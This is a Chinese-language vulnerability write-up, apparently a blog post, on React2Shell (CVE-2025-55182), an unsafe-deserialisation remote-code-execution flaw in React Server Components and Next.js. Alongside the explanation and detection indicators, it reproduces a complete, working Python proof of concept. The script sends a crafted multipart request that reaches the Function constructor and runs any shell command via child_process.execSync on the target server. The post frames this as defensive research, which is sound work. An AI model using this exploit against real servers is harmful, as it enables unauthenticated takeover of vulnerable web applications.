React2Shell, CVE-2025-55182, RCE漏洞:对React Server Components中不安全反序列化缺陷的详细剖析,该漏洞可在默认的React/Next.js配置中实现未经认证的远程代码执行。
React2Shell(CVE-2025-55182)是一个严重远程代码执行(RCE)漏洞,影响React 19.x中的React服务器组件(RSC)以及Next.js等框架。该漏洞源于对“Flight”协议块的不安全反序列化,允许攻击者注入恶意结构,这些结构会解析为Function构造函数,从而在服务器上执行任意JavaScript。
React服务器组件的引入是为了以更无缝、可组合的工作流桥接客户端/服务端渲染。为此,React使用了一个名为Flight协议的自定义二进制化序列化通道。
不幸的是,该协议的反序列化逻辑包含一个细微的缺陷,允许攻击者将恶意有效载荷潜入React运行时的深层。
结果如何? 一条完整的、未经身份验证的远程代码执行链,现在被称为React2Shell——没错,它的影响范围和可攻击性与Log4Shell相当。🔥
本文以清晰、可操作的格式分解了该漏洞,非常适合VAPT从业者、研究人员和防御者。
RSC通过与客户端发送序列化的“块”来通信,这些块代表引用、对象、组件元数据、异步边界等。
当这些块到达服务器或客户端时,React会将它们反序列化回对象和函数。
此过程假设数据结构是安全的。 这就是问题所在。
攻击者找到了构造恶意块的方法,其中包含:
thenables)示例模式:
"$then": { "constructor": { "prototype": null } }
在反序列化期间,React将此对象解释为一个thenable并调用:
promise.then(...)
但在这里,then实际上是Function构造函数,因此调用变为:
(new Function("恶意有效载荷"))();
这导致在运行React服务器组件的Node.js环境中执行任意JavaScript。
砰——你获得了RCE。
这就是为什么云供应商、安全团队和CERT在该漏洞披露后立即作出反应。
针对以下路径的multipart POST请求:
/react/rsc/server, /flight, /server-actions包含如下键的有效载荷:
$then$proto$constructor$type可疑的Node.js执行,例如:
node -e "<payload>"
在以下路径中出现意外文件:
/tmp/react-rce-*/var/tmp/node-rce-*⚠️ 重要说明
我不拥有此PoC。
它引用自以下公开仓库,并完全归功于作者:
👉 https://github.com/msanft/CVE-2025-55182
以下概念验证(PoC)严格用于教育和防御性网络安全研究。
必须仅在隔离的实验环境中或在你获得明确授权的系统中执行。
滥用此代码进行未经授权的访问、利用或系统入侵是非法、不道德的,并会受到网络安全法律的制裁。
请负责任地操作。🛡️💻
以下是完整的PoC:
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
如果你执行了这个PoC,请确保你是在受控的沙箱中进行的,而不是在任何生产或第三方资产上。
此演示的存在纯粹是为了帮助分析师、开发者和防御者理解、检测并缓解CVE-2025-55182(React2Shell)。
任何恶意或未经授权使用该信息的行为都是严格禁止的,且作者不认可此类行为。
保持道德。保持安全。🐉🔥
React2Shell是一个强有力的提醒:序列化层无论多么优雅,仍然是现代框架中最危险的组件之一。一旦任意对象未经验证触及运行时,通往RCE的链条就会变得极其短暂。
感谢阅读——一如既往,保持道德黑客精神,不断学习,并让那份安全之火烧得更旺。🔥🐉
如果你喜欢这篇分析,或者想与我的网络安全研究保持联系:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 领英: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010